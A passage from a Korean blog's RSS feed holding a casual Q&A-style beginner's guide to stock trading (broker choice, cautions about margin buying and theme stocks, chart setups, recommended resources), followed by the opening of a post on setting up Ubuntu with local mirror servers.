&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 쩜상, 쩜하 : 시초가 상한, 하한일 때&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 떡상, 떡락 : 폭등, 폭락&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;b&gt;Q3. &lt;/b&gt;주식 우짜하면 되니?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;-&amp;nbsp;주식&amp;nbsp;통장&amp;nbsp;개설은&amp;nbsp;메이저 증권사(ex. 키움, KB증권)를 이용하자 (&lt;span style=&quot;color: #ee2323;&quot;&gt;매매 수수료를 떠나서 활용할 수 있는 기능이 좋다&lt;/span&gt;)&lt;br /&gt;- 주식하는 지인, 친구에게 종목을 추천받거나 주지도 말자 (&lt;span style=&quot;color: #ee2323;&quot;&gt;주식하는 꿀팁과 공부방법을 듣고 배우거나 참고하는 것이 차리리 도움된다&lt;/span&gt;)&lt;br /&gt;-&amp;nbsp;가능한 핸드폰으로&amp;nbsp;매매하지마&amp;nbsp;(&lt;span style=&quot;color: #ee2323;&quot;&gt;다급한 마음에 제대로된 종목을 포착하지 못한다&lt;/span&gt;) &lt;br /&gt;-&amp;nbsp;코스닥은&amp;nbsp;2~3번&amp;nbsp;생각하고&amp;nbsp;매수해라&amp;nbsp;(&lt;span style=&quot;color: #ee2323;&quot;&gt;코스닥은 코스피보다 상하폭 차이가 클수 있기 때문에 매매에 참고하자&lt;/span&gt;) &lt;br /&gt;-&amp;nbsp;실시간 방송 중 유튜버가&amp;nbsp;매수한&amp;nbsp;종목에&amp;nbsp;들어가질&amp;nbsp;말&amp;nbsp;것.&amp;nbsp;(&lt;span style=&quot;color: #ee2323;&quot;&gt;남&amp;nbsp;따라&amp;nbsp;하지&amp;nbsp;말고&amp;nbsp;자신이&amp;nbsp;판단해라&lt;/span&gt;) &lt;br /&gt;- 테마주에 매우 신중하게 들어갈 것. (&lt;span style=&quot;color: #ee2323;&quot;&gt;오르는 시간보다 내려가는 시간이 짧다는 걸 명심하자&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bctd1Z/btqN01w4cn0/6g16xsKzzPvN2YdwxxEw0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bctd1Z/btqN01w4cn0/6g16xsKzzPvN2YdwxxEw0k/img.png&quot; data-alt=&quot;테마주에 매우 신중하게 들어갈 것&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bctd1Z/btqN01w4cn0/6g16xsKzzPvN2YdwxxEw0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbctd1Z%2FbtqN01w4cn0%2F6g16xsKzzPvN2YdwxxEw0k%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;테마주에 매우 신중하게 들어갈 것&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 신용 매수는 절대 이용하지 않을 것. (&lt;span style=&quot;color: #ee2323;&quot;&gt;그냥&amp;nbsp;하지도&amp;nbsp;말고&amp;nbsp;신청도&amp;nbsp;해두지&amp;nbsp;마라&amp;nbsp;제발!&lt;/span&gt;) &lt;br /&gt;- 종목 검색기를 활용할 것. (&lt;span style=&quot;color: #ee2323;&quot;&gt;종목 분석을 잘해도 수백 수천개 종목을 언제 다 찾아보니? 검색기를 이용해서 내가 원하는 구간에 포착되는 수식을 만들자&lt;/span&gt;)&lt;br /&gt;- 자신이 만든 검색기 수식을 자동 모의매매부터 수익을 보며 수정할 것. (&lt;span style=&quot;color: #ee2323;&quot;&gt;포착된 종목에서 이익과 손실을 잘 정하고 부족한 수식을 고쳐나가자&lt;/span&gt;)&lt;br /&gt;-&amp;nbsp;자신의&amp;nbsp;기준(노하우)을&amp;nbsp;만들&amp;nbsp;것.&amp;nbsp;(&lt;span style=&quot;color: #ee2323;&quot;&gt;남&amp;nbsp;말&amp;nbsp;듣는&amp;nbsp;것보다&amp;nbsp;자기가 공부하고 매매하면서 느끼고 깨달은 경험이&amp;nbsp;최고다&lt;/span&gt;)&lt;br /&gt;- 오전(09:00~10:00) 장 단타는 3~5%만 먹고 나오자. (&lt;span style=&quot;color: #ee2323;&quot;&gt;물리면&amp;nbsp;하루가&amp;nbsp;고생&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cegatR/btqNWEpA6D5/rSakNi5CKae7gNCWy7SpTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cegatR/btqNWEpA6D5/rSakNi5CKae7gNCWy7SpTK/img.png&quot; data-alt=&quot;오전(09:00~10:00)장 단타는 3~5%만 먹고 나오자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cegatR/btqNWEpA6D5/rSakNi5CKae7gNCWy7SpTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcegatR%2FbtqNWEpA6D5%2FrSakNi5CKae7gNCWy7SpTK%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;오전(09:00~10:00)장 단타는 3~5%만 먹고 나오자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 시드(돈) 늘려볼 생각할 때 실력을 늘려라. (&lt;span style=&quot;color: #ee2323;&quot;&gt;실력이 좋으면 100만 원으로도 1000만 원 만든다. 그러니 돈을 더 구할 시간에 주식 공부에 투자하자&lt;/span&gt;) &lt;br /&gt;- 친구가 특정 종목 좋냐고 물어보면 고점이다. (&lt;span style=&quot;color: #ee2323;&quot;&gt;지인이 좋다하면, 앞집 개도 안다. 그러니 팔아두자&lt;/span&gt;)&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 상한 VI 전에 미리 팔거나 사자. (&lt;span style=&quot;color: #ee2323;&quot;&gt;VI 뒤에는 반등 오지만, 가능한 하한 VI는 도전하지 마&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dD0HME/btqNXGUF4sW/LES07Ys7JB6vkio0xcjhJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dD0HME/btqNXGUF4sW/LES07Ys7JB6vkio0xcjhJ1/img.png&quot; data-alt=&quot;상한&amp;amp;amp;nbsp;/&amp;amp;amp;nbsp;하한&amp;amp;amp;nbsp;VI&amp;amp;amp;nbsp;전에&amp;amp;amp;nbsp;미리&amp;amp;amp;nbsp;팔거나&amp;amp;amp;nbsp;사자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dD0HME/btqNXGUF4sW/LES07Ys7JB6vkio0xcjhJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdD0HME%2FbtqNXGUF4sW%2FLES07Ys7JB6vkio0xcjhJ1%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;상한&amp;nbsp;/&amp;nbsp;하한&amp;nbsp;VI&amp;nbsp;전에&amp;nbsp;미리&amp;nbsp;팔거나&amp;nbsp;사자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 몇주, 몇개월만 보고 대기업(ex. 삼성전자, LG전자)에 매수하지 마라. (&lt;span style=&quot;color: #ee2323;&quot;&gt;다음 고점은 앞으로 몇 년이 걸리니 최소 2년을 바라보고 매매하자&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwYupN/btqNYwj6fn1/bBbmkbEhkCu8VEUwJYiUdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwYupN/btqNYwj6fn1/bBbmkbEhkCu8VEUwJYiUdk/img.png&quot; data-alt=&quot;대기업(ex. 삼성전자, LG전자) 종목이 현재 고점일 때 매수하지 마라&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwYupN/btqNYwj6fn1/bBbmkbEhkCu8VEUwJYiUdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwYupN%2FbtqNYwj6fn1%2FbBbmkbEhkCu8VEUwJYiUdk%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;대기업(ex. 삼성전자, LG전자) 종목이 현재 고점일 때 매수하지 마라&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;b&gt;Q4. 그럼 닌 주식 우째하니?&lt;/b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1107&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sK8ZB/btqRGpCcxgf/jpPVEaJcosJkVPP9JA6A8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sK8ZB/btqRGpCcxgf/jpPVEaJcosJkVPP9JA6A8k/img.png&quot; data-alt=&quot;개인 주식 화면 (32인치 모니터 기준)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sK8ZB/btqRGpCcxgf/jpPVEaJcosJkVPP9JA6A8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsK8ZB%2FbtqRGpCcxgf%2FjpPVEaJcosJkVPP9JA6A8k%2Fimg.png&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1107&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;개인 주식 화면 (32인치 모니터 기준)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;-&amp;nbsp;1번&amp;nbsp;:&amp;nbsp;분봉차트&amp;nbsp;:&amp;nbsp;분&amp;nbsp;단위&amp;nbsp;차트 &lt;br /&gt;- 2번 : 일봉차트 : 일(혹은 주, 월, 년)으로 차트 분석 시 주로 사용 &lt;br /&gt;- 3번 : 관심 종목 : 내가 관심 있는 종목 즐겨찾기 &lt;br /&gt;- 4번 : 현재가 : 현재 거래되고 있는 창 &lt;br /&gt;- 5번 : 검색기 : 자신이 원하는 구간에 맞게 검색이 가능하도록 하는 기능 &lt;br /&gt;- 6번 : 뉴스티커 : 현재 종목에 뉴스 발생시 표시&lt;br /&gt;- 7번 : HOT 종목 : 금일 가장 많이 검색된 종목&lt;br /&gt;- 8번 : 실시간잔고 : 실시간 거래에 따른 손익 표시&lt;br /&gt;- 9번 : 종합뉴스 : 실시간 뉴스 발생 표시&lt;br /&gt;- 10번 : 전일 대비 상승률 : 금일 전일 대비 상승률&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;b&gt;Q5.&amp;nbsp;&lt;/b&gt;아니 그래서 언제 사고팔면 되는디?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;밥그릇&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- 매매성향 : 스윙&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;- 목표수익 : 알아서&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;- 설명 : 1번 구간에서 내려간 길이만큼 2번 구간 뒤에 3번 구간과 같이 상승함으로 2~3번 구간 사이를 매수 구간이라고 해.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AFNkj/btqNZN6UtiY/igGUlsdvnddo93GKK6Hh8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AFNkj/btqNZN6UtiY/igGUlsdvnddo93GKK6Hh8k/img.png&quot; data-alt=&quot;밥그릇&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AFNkj/btqNZN6UtiY/igGUlsdvnddo93GKK6Hh8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAFNkj%2FbtqNZN6UtiY%2FigGUlsdvnddo93GKK6Hh8k%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;밥그릇&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;전환선+시가라인&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 매매성향 : &lt;span style=&quot;color: #333333;&quot;&gt;데이트레이드&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 목표수익 : 3% ~&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 설정 : 일목균형표(전환선(5), 핑크색, 3pt) + 시고저라인(시가라인, 검정색, 3pt)&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 설명 :&amp;nbsp;&lt;/span&gt;시가 기준 첫 번째 돌파 후 2번째 돌파 시 매수&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ct5OL7/btqRVpgksRN/xkB5EgojyKYcuPvSosDqmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ct5OL7/btqRVpgksRN/xkB5EgojyKYcuPvSosDqmk/img.png&quot; data-alt=&quot;전환선+시가라인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ct5OL7/btqRVpgksRN/xkB5EgojyKYcuPvSosDqmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fct5OL7%2FbtqRVpgksRN%2FxkB5EgojyKYcuPvSosDqmk%2Fimg.png&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;전환선+시가라인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;b&gt;Q6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;마! 다 귀찮다 종목 뽑아내는 거 있잖아&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;▶&amp;nbsp;&lt;/span&gt;검색기 &lt;span style=&quot;color: #333333;&quot;&gt;(임시비공개: 수익기록중)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- 당일 급등주 검색기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzk0Lz/btqRL2l2jgl/ndOBkmCvY79q7HCktUgi30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzk0Lz/btqRL2l2jgl/ndOBkmCvY79q7HCktUgi30/img.png&quot; data-alt=&quot;당일 급등주&amp;amp;amp;nbsp;검색기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzk0Lz/btqRL2l2jgl/ndOBkmCvY79q7HCktUgi30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzk0Lz%2FbtqRL2l2jgl%2FndOBkmCvY79q7HCktUgi30%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;당일 급등주&amp;nbsp;검색기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HK8Mf/btqSDuA5SFx/maL2fNvDueSXB9HJvNOFxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HK8Mf/btqSDuA5SFx/maL2fNvDueSXB9HJvNOFxk/img.png&quot; data-alt=&quot;당일 급등주&amp;amp;amp;nbsp;검색기 신호포착&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HK8Mf/btqSDuA5SFx/maL2fNvDueSXB9HJvNOFxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHK8Mf%2FbtqSDuA5SFx%2FmaL2fNvDueSXB9HJvNOFxk%2Fimg.png&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1081&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;당일 급등주&amp;nbsp;검색기 신호포착&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;b&gt;Q7.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개미 말 들어봤자지 전문가 뎃고온나!&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- [유튜버] &lt;a href=&quot;https://www.youtube.com/c/%EC%8A%88%EC%B9%B4%EC%9B%94%EB%93%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;슈가월드&lt;/a&gt; : 그냥 구독해라&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- [유튜버] &lt;a href=&quot;http://www.youtube.com/c/주식단테&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;주식단테&lt;/a&gt; : 주식 강의는 이분이 제일 좋은 듯&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- [강의] &lt;a href=&quot;https://www.youtube.com/playlist?list=PL2cqQmkSuT_9QMDIakoDJeus04fDiwdex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;최진기의&amp;nbsp;주식투자&amp;nbsp;무조건&amp;nbsp;따라&amp;nbsp;하기&lt;/a&gt; : 무조건이라고 말하는 분은 거르...아니 들어나 봐&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- [보고서] &lt;a href=&quot;http://www.kbsec.com/go.able?linkcd=m04010010&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;KB증권 기업분석&lt;/a&gt; : 보고서 읽는 것도 공부 중 하나&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- [보고서] &lt;a href=&quot;http://dart.fss.or.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;전자공시시스템&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- [도서] 플래시 보이스 (저자. 마이클 루이스) : 단타 프로그램 만드신 분&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;- [블로그] &lt;a href=&quot;https://layhope.tistory.com/212&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;주식투자 가이드북&lt;/a&gt; : 주식 AtoZ&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- [블로그]&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blog.netking.xyz/240&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;수익률 400% 올린 개미가 알려주는 주식 이야기&lt;/a&gt; : ???&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;* 부족한 실력에 내용이 부실하여 지적과 팁을 알려주시면 저에게 많은 도움이 됩니다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;* 문의 : &lt;b&gt;&lt;b&gt;netkingj@gmail.com&lt;/b&gt;&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;* 근황 : 주식&amp;nbsp;쳐다볼&amp;nbsp;시간&amp;nbsp;없어&amp;nbsp;자동매매&amp;nbsp;만들고, 포스팅&amp;nbsp;업데이트는&amp;nbsp;다...다..다..음으로...&lt;/b&gt;&lt;/p&gt;</description>
      <category>Honey TIP</category>
      <category>kb증권</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/240</guid>
      <comments>https://netking.tistory.com/240#entry240comment</comments>
      <pubDate>Wed, 30 Dec 2020 15:05:23 +0900</pubDate>
    </item>
    <item>
      <title>우분투 초기 환경 구축</title>
      <link>https://netking.tistory.com/196</link>
      <description>&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;미러서버&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;대한민국 3대장 미러 서버 : &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;ftp.harukasan.org, mirror.kakao.com, ftp.kaist.ac.kr&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
